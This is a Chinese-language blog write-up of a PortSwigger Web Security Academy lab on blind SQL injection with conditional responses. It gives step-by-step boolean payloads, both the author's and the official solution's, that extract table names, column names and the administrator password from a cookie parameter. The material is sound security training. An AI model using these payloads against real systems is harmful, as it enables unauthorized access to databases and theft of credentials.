【PortSwiggerのWeb Security Academy靶场】SQL Injection系列 9th

1,310 阅读2分钟

Subject

Lab: Blind SQL injection with conditional responses

Url: portswigger.net/web-securit…


Mind Palace

在带着 cookies的后续访问网页时会找到出现的 Welcome back! 标志 ==> 无法回显 ==> 采用盲注的方式

0x01 确认注入点

0x02 爆破数据库名

# 测试information_schema是否可以利用
id' and substring(select 'a' from information_schema.tables limit 1,1,1) = 'a
id' and ascii(substring((select 'a' from information_schema.tables limit 1),1,1)) = 97--
# ==> 可以利用

# 构造核心payload
id' and ascii(substring((select table_schema from information_schema.tables limit 1),{i},1)) > {mid}--
# ==> database name: public

0x03 爆破表名

# 构造核心payload
id' and ascii(substring((select concat(table_name) from information_schema.tables where table_schema='public' limit 1),{i},1)) > {mid}--
# ==> table name: users

0x04 爆破字段名

# 构造核心payload
id' and ascii(substring((select concat(column_name) from information_schema.columns where table_name='users' limit 1),{i},1)) > {mid}--
# ==> column name: username 有痛点无法解决

无法解决的痛点:group_concat函数无法使用(与此同时concat函数可以正常使用);没有limit 1无法select出结果(与此同时limit 0,1 limit 1,1无法select出结果)==> 导致的结果:没有办法一次性爆破出所有的select的结构 每次只能输出最上面select出的结果

无法解决痛点导致只能爆破出一个字段名字:username(不过题目描述中表明了另一个字段的名字就是:password;所以先在这里插个眼等之后看如何解决上述痛点;先用payload证明一下另一个字段名确实是password

id' and (select 'a' from public.users where username='administrator' and length(password)>1) = 'a

猜测:痛点的关键可能是在payload中最后使用了--注释符导致的

id' and substring((select column_name from information_schema.columns where table_name='users' limit 1),1,1) < 'z
# ==> 失败

不用注释符还是没能解决group_concat和limit的问题(可能是数据库不支持这个函数?limit也不能使用就很奇怪。插眼。)

0x05 爆破数据

# 构造核心payload
id' and ascii(substring((select concat(password,'~',username) from users where username='administrator'),1,1)) > 32--
# where username='administrator' ==> password='ybi0bomgnupogefkhiuw'

源码URL

gitee.com/eclipse-ten…


Look Ahead

关于官方解析

# 判断注入点
TrackingId=xyz' AND '1'='1

# 确认表名
TrackingId=xyz' AND (SELECT 'a' FROM users LIMIT 1)='a

# 确认字段名和administrator用户的存在
TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator')='a

# 确认password长度
TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a

# BP的Intruder模块爆破password
TrackingId=xyz' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a

很奇怪的是今天刚做的几个靶场,group_concat() database() limit都表现不佳;
原因不明;若有小伙伴碰巧看见这篇博客知道是什么原因 请在评论区为萌新解下惑 Thanks♪(・ω・)ノ


END ─=≡Σ(((つ•̀ω•́)つ